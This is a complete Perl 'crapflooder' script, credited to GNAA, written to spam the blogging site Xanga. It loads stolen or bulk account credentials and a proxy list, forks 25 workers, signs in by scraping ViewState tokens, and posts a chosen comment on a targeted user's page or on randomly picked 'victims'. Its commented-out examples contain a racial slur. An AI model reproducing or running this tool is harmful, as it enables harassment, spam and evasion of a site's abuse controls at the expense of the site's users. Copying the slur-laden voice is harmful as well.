#!/usr/bin/perl -w # vim: cindent ai sw=4 # xanga crapflooder by GNAA # thread code stolen from floodphpbb by popeye. lol # # usage: # ./xanga.pl [] # accounts is a file in the format of "username password" # proxies is a file in the format of "proxy:port" # comment is text file of the comment to post # optional userid is to direct a flood to a specific userid use strict; use Socket; use IO::Handle; use HTTP::Request::Common; use HTTP::Cookies; use LWP::UserAgent; my %accounts = (); my %proxies = (); my $comm = ""; my $uid; my $MAXFORK = 25; my $MAXFAIL = 100; # usage if ($#ARGV < 2) { print STDERR "usage: $0 []\n"; exit 1; } # prepare for everything if (my $fp = shift @ARGV) { print STDERR "Loading accounts from $fp\n"; open LOL, $fp or die "$!"; my $i = 0; while () { $i++; chomp; /^(.+) (.+)$/; $accounts{$1} = $2; } close LOL; print STDERR "Got $i accounts\n"; } if (my $fp = shift @ARGV) { print STDERR "Loading proxies from $fp\n"; open LOL, $fp or die "$!"; my $i = 0; while () { $i++; chomp; $proxies{$_} = $MAXFAIL; } close LOL; print STDERR "Got $i proxies\n"; } if (my $fp = shift @ARGV) { open LOL, $fp or die "Cannot read comment file: $!"; while () { $comm .= $_; } close LOL; } $uid = shift @ARGV; socketpair(CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!"; CHENEY->autoflush(1); BUSH->autoflush(1); if (my $jpid = fork) { close BUSH; } else { die "$!" unless defined $jpid; close CHENEY; $SIG{INT} = \&exit_nicely; my $command; while (1) { chomp($command = ); if ($command =~ /getproxy/) { if (keys %proxies > 0) { print BUSH (keys %proxies)[int rand keys %proxies] . "\n"; } else { print BUSH 'none\n'; } } elsif ($command =~ /fail (\S+)/) { } else { die "Bad command: $command\n"; } } } for (my $i = 0 ; $i < $MAXFORK ; $i++) { FORK: { if (my $pid = fork) { # } elsif (defined $pid) { while (1) { print CHENEY "getproxy\n"; chomp(my $proxy = ); my $rv = 0; if (defined $uid) { $rv = FloodXanga($proxy, $comm, $uid); } else { $rv = FloodXanga($proxy, $comm); } if ($rv) { print STDERR "child $i posted with success\n"; } else { print STDERR "child $i failed to post with $proxy\n"; print CHENEY "fail $proxy\n"; } } } elsif ($! =~ /No more process/) { redo FORK; } else { print STDERR "hit process limit\n"; goto ENDFORK; } } } while (1) { sleep 1; } # FloodXanga("none", "GNAA says hi"); # FloodXanga("none", "Lol. Gary you are amazing", "Gary_Niger"); # no user-modifyable parts below # FloodXanga($proxy, $comment, [uid]) sub FloodXanga { my $proxy = shift; my $comment = shift; my $uid = shift; my $ua = InitHTTP($proxy); my ($username, $password) = GetAccount(); if (!SignIntoXanga($ua, $username, $password)) { return; } if (defined $uid && $uid ne "") { PostComment($ua, $uid, $comment); } else { GiveRandomEProp($ua, $comment); } } # InitHTTP([proxy]) sub InitHTTP { my $proxy = shift; my $ua = LWP::UserAgent->new; $ua->timeout(5); $ua->cookie_jar(HTTP::Cookies->new); $ua->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0" ); if (!($proxy =~ /none/)) { $ua->proxy('http', "http://$proxy"); } push @{$ua->requests_redirectable}, 'POST'; return $ua; } # GetAccount() sub GetAccount { if (keys %accounts > 0) { my $nick = (keys %accounts)[int rand keys %accounts]; return ($nick, $accounts{$nick}); } else { die "No accounts, wtf\n"; } } # GetViewState(useragent, url) sub GetViewState { my $ua = shift; my $url = shift; my $response = $ua->request(GET $url); my $vs = ""; foreach my $l (split /\n/, $response->content) { if ($l =~ /name=\"__VIEWSTATE\" value=\"([^\"]+)\"/i) { $vs = $1; } } return $vs; } # SignIntoXanga(useragent, username, password) sub SignIntoXanga { my $ua = shift; my $username = shift; my $password = shift; my $url = 'http://www.xanga.com/signin.aspx'; my $vs = GetViewState($ua, $url); if ($vs eq "") { print STDERR "SignIntoXanga: Unable to get ViewState\n"; return 0; } my $req = POST $url, [ txtSigninUsername => $username, txtSigninPassword => $password, btnSignin => 'Sign In', __VIEWSTATE => $vs ]; $req->referer($url); my $response = $ua->request($req); foreach my $l (split /\n/, $response->content) { if ($l =~ /Incorrect login/i) { return 0; } } print STDERR "$username logged in\n"; return 1; } # GetFirstCommentLink(content) sub GetFirstCommentLink { my $content = shift; # http://www.xanga.com/item.aspx?user=karesty_malangen&tab=weblogs&uid=128020837 foreach my $l (split /\n/, $content) { if ($l =~ /\/item\.aspx\?user=([\w]+)&tab=weblogs&uid=([\d]+)/i ) { my $rv = "http://www.xanga.com/item.aspx?user=$1&tab=weblogs&uid=$2"; print STDERR "First comment: $rv\n"; return $rv; } } return ""; } # PostComment(useragent, uid, comment) sub PostComment { my $ua = shift; my $uid = shift; my $comment = shift; my $url = 'http://www.xanga.com/home.aspx?user=' . $uid; my $response = $ua->request(GET $url); # get url to top comment $url = GetFirstCommentLink($response->content); if ($url eq "") { return 0; } # post some crap on it my $vs = GetViewState($ua, $url); if ($vs eq "") { print STDERR "PostComment: Unable to get ViewState\n"; return 0; } my $req = POST $url, [ rblEprops => '2', formtype => 'submithtmldescr', bdescr => $comment, __VIEWSTATE => $vs ]; $req->referer($url); $response = $ua->request($req); print STDERR "Comment posted to $uid\'s page\n"; return 1; } # GiveRandomEProp(useragent, comment) sub GiveRandomEProp { my $ua = shift; my $comment = shift; my $url = 'http://main.xanga.com/Random.aspx'; my $response = $ua->request(GET $url); my $random = ""; if ($response->base =~ /user=([\w]+)/i) { $random = $1; print STDERR "Picked random victim: $random\n"; } if ($random eq "") { return 0; } # get url to top comment $url = GetFirstCommentLink($response->content); if ($url eq "") { return 0; } # post some crap on it my $vs = GetViewState($ua, $url); if ($vs eq "") { print STDERR "GiveRandomEProp: Unable to get ViewState\n"; return 0; } my $req = POST $url, [ rblEprops => '2', formtype => 'submithtmldescr', bdescr => $comment, __VIEWSTATE => $vs ]; $req->referer($url); $response = $ua->request($req); print STDERR "Comment posted to $random\'s page\n"; return 1; } sub exit_nicely { die "Exiting xanga\n"; }